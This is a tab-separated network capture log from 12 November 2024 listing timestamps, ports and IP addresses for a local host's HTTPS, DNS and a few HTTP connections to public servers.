Nov 12, 2024 13:35:22.022478104 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.022485971 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.022490025 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.023992062 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.024646997 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.024662018 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.024833918 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.024979115 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.024990082 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.030271053 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.030328035 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.030334949 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.030385017 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.030427933 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.030436039 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.034992933 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.035252094 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.035305023 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.035320044 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.035324097 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.035343885 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.035347939 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.037149906 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.037166119 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.037336111 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.037457943 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.037470102 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.037647963 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.037699938 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.037708998 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.044372082 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.044517994 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.044528008 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.069581985 CET	443	49779	173.222.162.64	192.168.2.6
Nov 12, 2024 13:35:22.069648027 CET	49779	443	192.168.2.6	173.222.162.64
Nov 12, 2024 13:35:22.084208012 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.084285975 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.084294081 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.135205984 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.135215998 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.146024942 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.146071911 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.146091938 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.146100998 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.146163940 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.149477959 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.149714947 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.149756908 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.149765968 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.149779081 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.149864912 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.157010078 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.197700024 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.197706938 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.203629971 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.203695059 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.203702927 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.203774929 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.203865051 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.203871965 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.244594097 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.265338898 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.268548012 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.268599033 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.268608093 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.268641949 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.268799067 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.268805981 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.276211023 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.276259899 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.276268005 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.290985107 CET	443	49780	142.250.185.206	192.168.2.6
Nov 12, 2024 13:35:22.291198015 CET	49780	443	192.168.2.6	142.250.185.206
Nov 12, 2024 13:35:22.291212082 CET	443	49780	142.250.185.206	192.168.2.6
Nov 12, 2024 13:35:22.291542053 CET	443	49780	142.250.185.206	192.168.2.6
Nov 12, 2024 13:35:22.291632891 CET	49780	443	192.168.2.6	142.250.185.206
Nov 12, 2024 13:35:22.292160988 CET	443	49780	142.250.185.206	192.168.2.6
Nov 12, 2024 13:35:22.292210102 CET	49780	443	192.168.2.6	142.250.185.206
Nov 12, 2024 13:35:22.293190956 CET	49780	443	192.168.2.6	142.250.185.206
Nov 12, 2024 13:35:22.293256998 CET	443	49780	142.250.185.206	192.168.2.6
Nov 12, 2024 13:35:22.293659925 CET	49780	443	192.168.2.6	142.250.185.206
Nov 12, 2024 13:35:22.293669939 CET	443	49780	142.250.185.206	192.168.2.6
Nov 12, 2024 13:35:22.293689966 CET	49780	443	192.168.2.6	142.250.185.206
Nov 12, 2024 13:35:22.322665930 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.322730064 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.322741032 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.322792053 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.322825909 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.322833061 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.322840929 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.322869062 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.322877884 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.322921991 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.322928905 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.335333109 CET	443	49780	142.250.185.206	192.168.2.6
Nov 12, 2024 13:35:22.338324070 CET	49780	443	192.168.2.6	142.250.185.206
Nov 12, 2024 13:35:22.369577885 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.384617090 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.387835026 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.387876987 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.387887001 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.387893915 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.387937069 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.395528078 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.396136999 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.396217108 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.396228075 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.396275997 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.396517038 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.396523952 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:22.427730083 CET	443	49782	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:22.427803040 CET	49782	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:22.429054976 CET	49782	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:22.429074049 CET	443	49782	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:22.429328918 CET	443	49782	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:22.430489063 CET	49782	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:22.471343994 CET	443	49782	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:22.487569094 CET	51511	53	192.168.2.6	1.1.1.1
Nov 12, 2024 13:35:22.492369890 CET	53	51511	1.1.1.1	192.168.2.6
Nov 12, 2024 13:35:22.492461920 CET	51511	53	192.168.2.6	1.1.1.1
Nov 12, 2024 13:35:22.492491961 CET	51511	53	192.168.2.6	1.1.1.1
Nov 12, 2024 13:35:22.500498056 CET	53	51511	1.1.1.1	192.168.2.6
Nov 12, 2024 13:35:22.580084085 CET	443	49780	142.250.185.206	192.168.2.6
Nov 12, 2024 13:35:22.636074066 CET	49780	443	192.168.2.6	142.250.185.206
Nov 12, 2024 13:35:22.636087894 CET	443	49780	142.250.185.206	192.168.2.6
Nov 12, 2024 13:35:22.639533997 CET	49780	443	192.168.2.6	142.250.185.206
Nov 12, 2024 13:35:22.639595985 CET	443	49780	142.250.185.206	192.168.2.6
Nov 12, 2024 13:35:22.639761925 CET	443	49780	142.250.185.206	192.168.2.6
Nov 12, 2024 13:35:22.639823914 CET	49780	443	192.168.2.6	142.250.185.206
Nov 12, 2024 13:35:22.639899015 CET	49780	443	192.168.2.6	142.250.185.206
Nov 12, 2024 13:35:22.679099083 CET	443	49782	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:22.679559946 CET	443	49782	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:22.679701090 CET	49782	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:22.694591999 CET	49782	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:22.694591999 CET	49782	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:22.694612980 CET	443	49782	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:22.694623947 CET	443	49782	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:22.718357086 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.719285011 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.719301939 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.719748020 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.719753027 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.748239040 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.748692989 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.748708010 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.749619007 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.749624014 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.755800962 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.756119013 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.756131887 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.756594896 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.756598949 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.759176970 CET	80	49778	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:22.760971069 CET	49778	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:22.762239933 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.762576103 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.762602091 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.762953043 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.762959003 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.781625986 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.785329103 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.785346031 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.786057949 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.786063910 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.837483883 CET	49759	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:22.848638058 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.848690033 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.848737955 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.849020004 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.849037886 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.851911068 CET	51512	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.851942062 CET	443	51512	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.852544069 CET	51512	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.852819920 CET	51512	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.852832079 CET	443	51512	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.875466108 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.875519037 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.875632048 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.875765085 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.875776052 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.875848055 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.875854015 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.877928019 CET	51513	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.877963066 CET	443	51513	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.878060102 CET	51513	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.878175974 CET	51513	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.878187895 CET	443	51513	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.883166075 CET	49778	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:22.888283014 CET	80	49778	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:22.891273975 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.891998053 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.892055988 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.892185926 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.892189980 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.892214060 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.892218113 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.894145012 CET	51514	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.894156933 CET	443	51514	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.894361973 CET	51514	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.894490957 CET	51514	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.894504070 CET	443	51514	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.895320892 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.895374060 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.895440102 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.895510912 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.895529985 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.895560026 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.895565033 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.897344112 CET	51515	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.897355080 CET	443	51515	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.897953033 CET	51515	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.898051977 CET	51515	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.898062944 CET	443	51515	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.935199976 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.935246944 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.935404062 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.935522079 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.935545921 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.935555935 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.935561895 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.938087940 CET	51516	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.938113928 CET	443	51516	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.938374996 CET	51516	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.938565969 CET	51516	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.938580036 CET	443	51516	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.095376015 CET	53	51511	1.1.1.1	192.168.2.6
Nov 12, 2024 13:35:23.095935106 CET	51511	53	192.168.2.6	1.1.1.1
Nov 12, 2024 13:35:23.101221085 CET	53	51511	1.1.1.1	192.168.2.6
Nov 12, 2024 13:35:23.101308107 CET	51511	53	192.168.2.6	1.1.1.1
Nov 12, 2024 13:35:23.589627028 CET	443	51512	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.590100050 CET	51512	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.590114117 CET	443	51512	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.592195988 CET	51512	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.592201948 CET	443	51512	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.639813900 CET	443	51513	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.640299082 CET	51513	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.640317917 CET	443	51513	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.640773058 CET	51513	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.640780926 CET	443	51513	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.661660910 CET	80	49778	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:23.661727905 CET	49778	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:23.663460970 CET	443	51515	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.664128065 CET	51515	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.664153099 CET	443	51515	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.664884090 CET	51515	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.664887905 CET	443	51515	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.683013916 CET	443	51514	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.683442116 CET	51514	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.683454037 CET	443	51514	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.683886051 CET	51514	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.683890104 CET	443	51514	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.726816893 CET	443	51512	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.726908922 CET	443	51512	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.726964951 CET	51512	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.727111101 CET	51512	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.727125883 CET	443	51512	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.727155924 CET	51512	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.727165937 CET	443	51512	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.730082035 CET	51517	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.730110884 CET	443	51517	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.730170965 CET	51517	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.730474949 CET	51517	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.730489016 CET	443	51517	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.740041018 CET	443	51516	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.740629911 CET	51516	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.740657091 CET	443	51516	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.741316080 CET	51516	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.741322994 CET	443	51516	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.771013021 CET	443	51513	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.771094084 CET	443	51513	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.771140099 CET	51513	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.775125027 CET	51513	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.775136948 CET	443	51513	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.775147915 CET	51513	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.775152922 CET	443	51513	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.778817892 CET	51518	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.778851032 CET	443	51518	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.778911114 CET	51518	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.779155016 CET	51518	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.779165983 CET	443	51518	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.793495893 CET	443	51515	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.793829918 CET	443	51515	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.793884039 CET	51515	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.793929100 CET	51515	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.793932915 CET	443	51515	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.793958902 CET	51515	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.793965101 CET	443	51515	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.796947956 CET	51519	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.796963930 CET	443	51519	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.797027111 CET	51519	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.797391891 CET	51519	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.797404051 CET	443	51519	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.820748091 CET	443	51514	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.820991039 CET	443	51514	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.821348906 CET	51514	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.821502924 CET	51514	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.821513891 CET	443	51514	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.821532965 CET	51514	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.821540117 CET	443	51514	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.825324059 CET	51520	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.825335979 CET	443	51520	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.825391054 CET	51520	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.825514078 CET	51520	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.825525045 CET	443	51520	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.871864080 CET	443	51516	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.872054100 CET	443	51516	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.872103930 CET	51516	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.872195005 CET	51516	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.872210979 CET	443	51516	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.872220993 CET	51516	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.872226954 CET	443	51516	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.874393940 CET	51521	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.874411106 CET	443	51521	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:23.874488115 CET	51521	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.874759912 CET	51521	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:23.874771118 CET	443	51521	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.454791069 CET	443	51517	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.477159023 CET	51517	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.477180958 CET	443	51517	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.479365110 CET	51517	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.479370117 CET	443	51517	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.509605885 CET	443	51518	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.516920090 CET	51518	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.516940117 CET	443	51518	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.517345905 CET	51518	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.517350912 CET	443	51518	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.528713942 CET	443	51519	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.529133081 CET	51519	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.529140949 CET	443	51519	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.529728889 CET	51519	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.529732943 CET	443	51519	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.606363058 CET	443	51517	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.606434107 CET	443	51517	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.606489897 CET	51517	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.608645916 CET	443	51521	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.617598057 CET	51517	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.617607117 CET	443	51517	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.621411085 CET	51521	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.621433973 CET	443	51521	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.621834040 CET	51521	443	192.168.2.6	13.107.246.45
